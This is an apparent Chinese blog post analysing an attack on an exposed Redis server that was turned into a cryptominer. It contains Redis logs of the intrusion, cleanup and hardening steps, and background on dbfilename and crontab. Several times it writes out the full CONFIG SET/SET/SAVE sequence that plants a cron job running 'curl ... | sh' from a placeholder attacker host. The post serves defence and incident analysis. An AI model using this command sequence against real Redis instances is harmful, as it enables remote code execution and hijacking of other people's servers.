情景重現
Redis日志記錄(異常部分):
36346:M 14 May 2024 15:46:12.505 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
36346:M 14 May 2024 19:02:42.702 * DB saved on disk
36346:M 14 May 2024 19:02:42.717 * DB saved on disk
36346:M 14 May 2024 19:02:42.766 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.780 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.787 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.851 # Failed opening the RDB file zzh (in server root dir /etc/cron.d) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.880 # Failed opening the RDB file crontab (in server root dir /etc) for saving: Read-only file system
36346:M 14 May 2024 19:03:58.617 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:03:58.700 # Failed opening the RDB file redis (in server root dir /var/spool/cron) for saving: Read-only file system
36346:S 14 May 2024 19:03:58.987 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
36346:S 14 May 2024 19:03:58.987 * REPLICAOF 103.219.60.221:60146 enabled (user request from 'id=17 addr=47.243.16.34:50786 fd=11 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=30 qbuf-free=32738 argv-mem=26 obl=0 oll=0 omem=0 tot-mem=61498 events=r cmd=slaveof user=default')
36346:S 14 May 2024 19:03:59.807 * Connecting to MASTER 103.219.60.221:60146
36346:S 14 May 2024 19:03:59.807 * MASTER <-> REPLICA sync started
36346:S 14 May 2024 19:04:04.030 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:09.072 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:14.115 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:19.156 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:24.199 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:29.241 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:34.284 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:M 14 May 2024 19:04:34.325 * Discarding previously cached master state.
36346:M 14 May 2024 19:04:34.325 # Setting secondary replication ID to 05af2cae8bdce56a32f335a1cbde4b4c4add8d93, valid up to offset: 1. New replication ID is 724cf768deb216b6e4aec7b6439f612ec19b9d23
36346:M 14 May 2024 19:04:34.325 * MASTER MODE enabled (user request from 'id=17 addr=47.243.16.34:50786 fd=11 name= age=36 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=16 qbuf-free=32752 argv-mem=12 obl=0 oll=0 omem=0 tot-mem=61484 events=r cmd=slaveof user=default')
36346:M 14 May 2024 19:07:43.001 * 10 changes in 300 seconds. Saving...
36346:M 14 May 2024 19:07:43.001 * Background saving started by pid 36903
36903:C 14 May 2024 19:07:43.003 * DB saved on disk
36903:C 14 May 2024 19:07:43.003 * RDB: 0 MB of memory used by copy-on-write
36346:M 14 May 2024 19:07:43.101 * Background saving terminated with success
36346:M 14 May 2024 19:51:06.625 * 1 changes in 900 seconds. Saving...
36346:M 14 May 2024 19:51:06.625 * Background saving started by pid 36984
36984:C 14 May 2024 19:51:06.627 * DB saved on disk
攻擊詳細解析
筆者的 Redis 服務器遭受了攻擊,攻擊者通過未加防護的 Redis 端口植入了惡意的 crontab
計劃任務,讓我的服務器變成了挖礦機器。以下是詳細的攻擊步驟和防御措施:
1. 未加防護的 Redis 端口
攻擊者首先通過網絡掃描發現了未加防護的 Redis 端口(默認是 6379)。由于 Redis 默認配置允許無認證訪問,攻擊者能夠直接連接到 Redis 服務器。
2. 植入惡意 crontab
計劃任務
攻擊者連接到 Redis 服務器后,通過 Redis 命令將惡意的 crontab
任務寫入到了計劃任務文件中。這是通過 Redis 的 CONFIG
命令和文件寫入功能實現的。例如:
# 連接 Redis
redis-cli -h your_server_ip# 配置 Redis 數據目錄
CONFIG SET dir /var/spool/cron/crontabs/# 設置 Redis 保存文件名
CONFIG SET dbfilename root# 寫入惡意計劃任務
SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"# 保存到磁盤
SAVE
3. 檢查并刪除惡意 crontab
計劃任務
被植入的計劃任務會定期執行惡意腳本,該腳本從攻擊者的服務器下載并執行。通常,這些腳本會進行挖礦或其他惡意活動。為了清除這些任務,我們需要檢查并刪除相關的計劃任務:
檢查并刪除 crontab
計劃任務
使用以下命令查看并刪除惡意的 crontab
任務:
crontab -l
如果發現有惡意任務,手動刪除或使用以下命令清除計劃任務文件:
sudo rm /var/spool/cron/crontabs/root
然后重啟 cron
服務:
sudo service cron restart
檢查并刪除 /etc/cron.d
和 /etc/crontab
除了用戶級別的 crontab
,還需要檢查系統級別的計劃任務文件:
ls /etc/cron.d
cat /etc/crontab
如果發現惡意文件或任務,手動刪除,并從正常的服務器上拷貝正常的文件過來。然后重啟 cron
服務:
sudo service cron restart
4. 檢查和刪除惡意的 SSH 授權密鑰
惡意腳本可能會將攻擊者的公鑰寫入到 root
用戶的 authorized_keys
文件中,以便獲取遠程登錄權限。檢查并刪除該文件:
sudo rm /root/.ssh/authorized_keys
5. 增強 Redis 安全性
為防止未來的攻擊,需要增強 Redis 和服務器的安全性:
-
配置 Redis 訪問控制:
修改 Redis 配置文件/etc/redis/redis.conf
,設置綁定 IP 和訪問密碼。# 僅允許本地訪問 bind 127.0.0.1# 設置訪問密碼 requirepass your_secure_password
重啟 Redis 服務:
sudo systemctl restart redis
-
限制 Redis 端口訪問:
使用防火墻限制 Redis 端口的訪問,僅允許受信任的 IP 地址訪問。sudo ufw allow from your_trusted_ip to any port 6379 sudo ufw enable
-
定期更新和檢查:
定期更新 Redis 和系統軟件,檢查系統日志,確保沒有未授權的訪問。
總結
通過以上步驟,可以詳細了解攻擊過程,并采取有效的措施防止類似攻擊的發生。增強 Redis 服務器和系統的安全性是關鍵,確保只有受信任的用戶能夠訪問和管理服務器。
攻擊命令
SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
該命令通過 Redis 將惡意計劃任務寫入到系統的 crontab
文件中。下面詳細解釋這條命令的每個部分:
命令背景
攻擊者利用 Redis 的 CONFIG
和 SET
命令將惡意任務植入系統的 crontab
文件中,使服務器在特定時間間隔內執行惡意腳本。這是通過 Redis 的持久化機制(如 RDB)實現的。
具體步驟
1. 配置 Redis 數據目錄
首先,攻擊者使用 CONFIG SET
命令將 Redis 的數據目錄設置為系統的 crontab
目錄。這一步讓 Redis 能夠將數據文件保存到該目錄。
CONFIG SET dir /var/spool/cron/crontabs/
2. 設置 Redis 保存文件名
接下來,攻擊者使用 CONFIG SET
命令將 Redis 保存的數據庫文件名設置為 root
。在 /var/spool/cron/crontabs/
目錄下,這將覆蓋或創建一個名為 root
的文件。
CONFIG SET dbfilename root
3. 寫入惡意計劃任務
使用 Redis 的 SET
命令,攻擊者將惡意的計劃任務寫入 Redis 數據庫。在持久化時,這個任務將被寫入到 /var/spool/cron/crontabs/root
文件中。
SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
4. 保存到磁盤
最后,攻擊者使用 SAVE
命令將 Redis 數據庫持久化到磁盤。這將導致 Redis 將當前數據庫的內容寫入到之前配置的文件目錄和文件名中。
SAVE
計劃任務的內容解析
*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
這條 crontab
計劃任務每 15 分鐘執行一次。具體解析如下:
*/15
:每 15 分鐘執行一次。*
:每小時的每一分鐘。*
:每天的每一小時。*
:每個月的每一天。*
:每周的每一天。
執行的命令是:
curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
curl -fsSL http://xx.xx.xx.xx:7770/ash.sh
:從 URLhttp://xx.xx.xx.xx:7770/ash.sh
下載腳本文件。-fsSL
參數的含義是:-f
:失敗時不顯示 HTTP 錯誤。-s
:靜默模式,不輸出任何信息。-S
:顯示錯誤。-L
:如果請求的資源已被移動到其他位置,自動隨新的 URL 進行重定向。
| sh
:下載的腳本文件通過管道傳遞給sh
(shell)執行。
攻擊后的潛在危害
- 挖礦:下載并執行的腳本可能用于加密貨幣挖礦,消耗系統資源。
- 后門訪問:腳本可能會在系統中植入后門,使攻擊者能夠隨時訪問和控制系統。
- 數據泄露:腳本可能會收集并泄露系統中的敏感數據。
- 進一步攻擊:腳本可能會下載和執行其他惡意軟件,用于擴展攻擊范圍。
分析一下
在上述攻擊過程中,攻擊者通過 Redis 的 SET
命令將惡意的 crontab
計劃任務寫入到 Redis 數據庫,并使用 SAVE
命令將其持久化到磁盤。具體地,攻擊者將計劃任務寫入到 /var/spool/cron/crontabs/root
文件。這里的核心在于,/var/spool/cron/crontabs/root
文件是 cron
守護進程讀取并執行計劃任務的地方。
計劃任務的執行過程
-
計劃任務的寫入:
- 攻擊者通過
CONFIG SET dir /var/spool/cron/crontabs/
將 Redis 的數據目錄設置為cron
的計劃任務目錄。 - 使用
CONFIG SET dbfilename root
將 Redis 保存的數據庫文件名設置為root
。 - 使用
SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
將計劃任務寫入 Redis。 - 最后,使用
SAVE
命令將 Redis 數據庫持久化到磁盤,這會將計劃任務寫入到/var/spool/cron/crontabs/root
文件中。
- 攻擊者通過
-
計劃任務的加載和執行:
cron
守護進程會定期檢查計劃任務文件目錄/var/spool/cron/crontabs/
中的文件。- 當
cron
守護進程檢測到/var/spool/cron/crontabs/root
文件被修改時,它會重新加載該文件中的計劃任務。 - 根據
crontab
文件中的時間表達式*/15 * * * *
,cron
守護進程將每 15 分鐘執行一次命令curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
。
時間表達式解析
時間表達式 */15 * * * *
的含義是:
*/15
:每 15 分鐘執行一次。*
:每小時的每一分鐘。*
:每天的每一小時。*
:每月的每一天。*
:每周的每一天。
因此,這個任務會在每小時的第 0、15、30 和 45 分鐘執行。
具體執行流程
-
計劃任務文件被寫入:
當攻擊者使用SAVE
命令后,計劃任務被寫入到/var/spool/cron/crontabs/root
文件中。 -
cron
守護進程檢測到文件變化:
cron
守護進程定期檢查/var/spool/cron/crontabs
目錄中的文件。如果文件有變化(如新增或修改),cron
會重新加載計劃任務。 -
任務執行:
根據*/15 * * * *
的時間表達式,cron
每 15 分鐘執行一次命令curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
。
再接著分析一下
當 Redis 將數據持久化到磁盤時,它會創建一個 RDB 文件(Redis Database File),其中包含 Redis 數據庫的二進制快照。通過 Redis 的 SAVE
命令,數據被保存到這個 RDB 文件中。然而,當攻擊者配置 Redis 以將數據持久化到 cron
計劃任務目錄(如 /var/spool/cron/crontabs/
)時,實際上是通過操縱 Redis 配置和持久化機制,創建了一個偽裝成 RDB 文件的計劃任務文件。
攻擊過程詳解
-
設置 Redis 數據目錄:
攻擊者通過CONFIG SET dir /var/spool/cron/crontabs/
將 Redis 的數據目錄設置為系統的cron
計劃任務目錄。 -
設置 Redis 保存的文件名:
使用CONFIG SET dbfilename root
將 Redis 保存的數據庫文件名設置為root
。 -
寫入惡意的
crontab
任務:
使用 Redis 的SET
命令寫入計劃任務。SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
-
保存到磁盤:
使用SAVE
命令將數據持久化,這會將上述計劃任務寫入到/var/spool/cron/crontabs/root
文件中。
文件格式及 cron
守護進程執行的原因
RDB 文件格式
正常情況下,Redis 的 RDB 文件是一個二進制文件,包含 Redis 數據庫的快照。然而,攻擊者利用 Redis 配置,將計劃任務字符串直接寫入到偽裝成 RDB 文件的計劃任務文件中。
cron
守護進程的工作機制
cron
守護進程負責在預定時間執行計劃任務。它定期掃描特定目錄(如 /var/spool/cron/crontabs/
)中的文件,并讀取其中的任務安排。如果這些文件包含有效的 crontab
格式任務,cron
將執行這些任務。
由于 cron
僅檢查文件內容是否符合 crontab
語法,而不關心文件是如何生成的,攻擊者通過 Redis 持久化機制創建的文件一旦內容符合 crontab
語法,cron
就會執行其中的任務。
關鍵點總結
-
計劃任務格式:計劃任務的格式是一個定時器表達式后跟執行命令。例如:
*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
這條任務每 15 分鐘執行一次
curl
命令下載并執行遠程腳本。 -
文件路徑:攻擊者將 Redis 配置為將數據持久化到
cron
計劃任務目錄,如/var/spool/cron/crontabs/root
。這導致持久化的內容成為cron
守護進程的一部分計劃任務。 -
持久化機制的濫用:通過 Redis 的
SAVE
命令,數據被持久化到偽裝成 RDB 文件的計劃任務文件中。
Redis配置中的dbfilename參數
在Redis配置文件中,dbfilename
參數用于指定將數據庫快照(dump)保存到磁盤時所使用的文件名。Redis支持將內存中的數據持久化到磁盤,以便在服務器重啟后能夠恢復數據。dbfilename
決定了持久化文件的名稱,默認情況下,該文件名為 dump.rdb
。
詳細作用:
-
指定持久化文件名:
dbfilename
參數用于設置RDB持久化文件的文件名。例如,如果在redis.conf
文件中設置dbfilename mydump.rdb
,那么Redis會將快照數據保存到一個名為mydump.rdb
的文件中。
-
持久化類型:
- Redis主要有兩種持久化方式:RDB (Redis Database) 和 AOF (Append-Only File)。
dbfilename
只影響RDB快照文件的名稱,與AOF文件無關。
-
文件位置:
dbfilename
僅指定文件名,文件存儲的位置由dir
參數決定。例如,如果dir
參數設置為/var/lib/redis
,而dbfilename
設置為dump.rdb
,那么快照文件的完整路徑就是/var/lib/redis/dump.rdb
。
-
持久化配置:
- RDB文件是通過快照機制生成的,快照的生成條件可以通過
save
配置參數來指定,例如:save 900 1 # 在900秒內至少有1個key發生變化 save 300 10 # 在300秒內至少有10個key發生變化 save 60 10000 # 在60秒內至少有10000個key發生變化
- 每當滿足這些條件之一時,Redis會生成一個新的RDB文件,并使用
dbfilename
參數指定的名稱保存。
- RDB文件是通過快照機制生成的,快照的生成條件可以通過
-
備份與恢復:
- 由于
dbfilename
參數指定了RDB文件的名稱,因此在進行備份時,可以通過復制這個文件來備份數據庫。在恢復數據時,只需將備份的RDB文件放回dir
目錄,并確保文件名與dbfilename
參數一致。
- 由于
示例配置:
假設我們希望將RDB文件命名為 mydatabase.rdb
并存儲在 /data/redis
目錄下,則可以在 redis.conf
文件中進行如下配置:
dir /data/redis
dbfilename mydatabase.rdb
save 900 1
save 300 10
save 60 10000
在這個配置中:
- RDB文件將命名為
mydatabase.rdb
。 - 文件將存儲在
/data/redis
目錄中。 - 快照的生成條件也已配置,當滿足任一條件時會生成快照。
通過這種方式,dbfilename
參數可以幫助我們靈活地管理Redis數據的持久化文件,確保數據的可靠性和安全性。
crontab命令
crontab
是一個用于安裝、卸載和列出在 Unix 和類 Unix 操作系統中計劃任務的命令。計劃任務通過 cron
守護進程來執行。cron
是一種基于時間的任務調度器,常用于安排周期性任務(如備份、系統維護等)。
Linux 系統中,crontab 文件的默認位置是在 /var/spool/cron 目錄中。crontab 文件以用戶名為文件名,例如 /var/spool/cron/root。crontab 文件用于存儲用戶的定時任務。
以下是一些常用的 crontab
命令及其用途:
1. 編輯 crontab
文件
使用 crontab -e
命令可以編輯當前用戶的 crontab
文件。crontab
文件包含一系列計劃任務,每個任務由一個時間表達式和一個要執行的命令組成。
crontab -e
這將打開默認編輯器(如 vi
或 nano
),我們可以在其中添加、編輯或刪除計劃任務。
2. 列出 crontab
文件
使用 crontab -l
命令可以列出當前用戶的 crontab
文件中所有計劃任務。
crontab -l
3. 刪除 crontab
文件
使用 crontab -r
命令可以刪除當前用戶的 crontab
文件,所有計劃任務將被刪除。
crontab -r
4. 安裝新的 crontab
文件
使用 crontab file
命令可以從一個文件中讀取計劃任務并安裝為當前用戶的 crontab
文件。
crontab mycronfile
crontab
文件格式
crontab
文件中的每一行代表一個計劃任務,格式如下:
* * * * * command_to_be_executed
- - - - -
| | | | |
| | | | +----- 一周中的星期幾 (0 - 7) (星期天為0或7)
| | | +------- 月份 (1 - 12)
| | +--------- 日期 (1 - 31)
| +----------- 小時 (0 - 23)
+------------- 分鐘 (0 - 59)
例如,以下任務表示每天上午 7:30 運行 /path/to/command
:
30 7 * * * /path/to/command
示例
以下是一些常見的 crontab
示例:
- 每天凌晨 2 點運行備份腳本:
0 2 * * * /path/to/backup.sh
- 每周一上午 8 點運行報告生成腳本:
0 8 * * 1 /path/to/report.sh
- 每小時的第 5 分鐘運行清理腳本:
5 * * * * /path/to/cleanup.sh
- 每 5 分鐘運行一次腳本:
*/5 * * * * /path/to/script.sh
總結
crontab
命令是管理計劃任務的強大工具,通過 crontab
文件可以非常靈活地安排任務的執行時間。了解 crontab
文件的格式和用法,可以幫助我們有效地自動化系統任務。
執行sudo apt install redis-server
命令后,Redis 進程將作為 redis
用戶運行
當使用 sudo apt install redis-server
命令安裝 Redis 服務器后,Redis 進程將作為 redis
用戶運行,而不是 root
用戶。這樣做是出于安全考慮,避免 Redis 以高權限用戶(如 root
)運行,從而降低安全風險。
以下是 Redis 安裝和運行的典型流程:
-
安裝 Redis 服務器:
sudo apt install redis-server
-
Redis 配置文件:
安裝完成后,Redis 的配置文件通常位于/etc/redis/redis.conf
。 -
檢查 Redis 服務狀態:
使用systemctl
檢查 Redis 服務的狀態:sudo systemctl status redis
可以看到類似以下的輸出,表明 Redis 服務正在運行:
● redis-server.service - Advanced key-value storeLoaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)Active: active (running) since ...
-
檢查 Redis 進程的所有者:
我們可以使用ps
或pgrep
命令來查看 Redis 進程的所有者。以下是一個示例:ps aux | grep redis
或者:
pgrep -u redis -lf
可以看到類似以下的輸出,表明 Redis 進程是由
redis
用戶運行的:redis 1234 0.0 0.1 123456 1234 ? Ssl 00:00 0:01 /usr/bin/redis-server *:6379
詳細步驟
-
安裝 Redis:
sudo apt update sudo apt install redis-server
-
啟動和啟用 Redis:
安裝完成后,Redis 服務會自動啟動并配置為在系統啟動時自動啟動。使用以下命令確保 Redis 服務已啟動并啟用:sudo systemctl start redis sudo systemctl enable redis
-
檢查 Redis 運行狀態:
sudo systemctl status redis
-
驗證 Redis 進程的所有者:
ps aux | grep redis
修改 Redis 用戶配置(如有需要)
如果我們確實需要修改 Redis 服務的運行用戶(盡管通常沒有必要),那么可以編輯 Redis 的 systemd 服務配置文件 /lib/systemd/system/redis-server.service
:
sudo vi /lib/systemd/system/redis-server.service
找到以下行并修改為所需用戶:
User=redis
Group=redis
修改后,重新加載 systemd 配置并重啟 Redis 服務:
sudo systemctl daemon-reload
sudo systemctl restart redis
總結
在標準的 Redis 安裝過程中,Redis 服務通常以 redis
用戶身份運行,而不是 root
用戶。這種配置是為了安全性考慮,避免以高權限用戶運行服務。如果需要檢查或驗證,可以使用 ps
或 pgrep
等命令來查看 Redis 進程的所有者。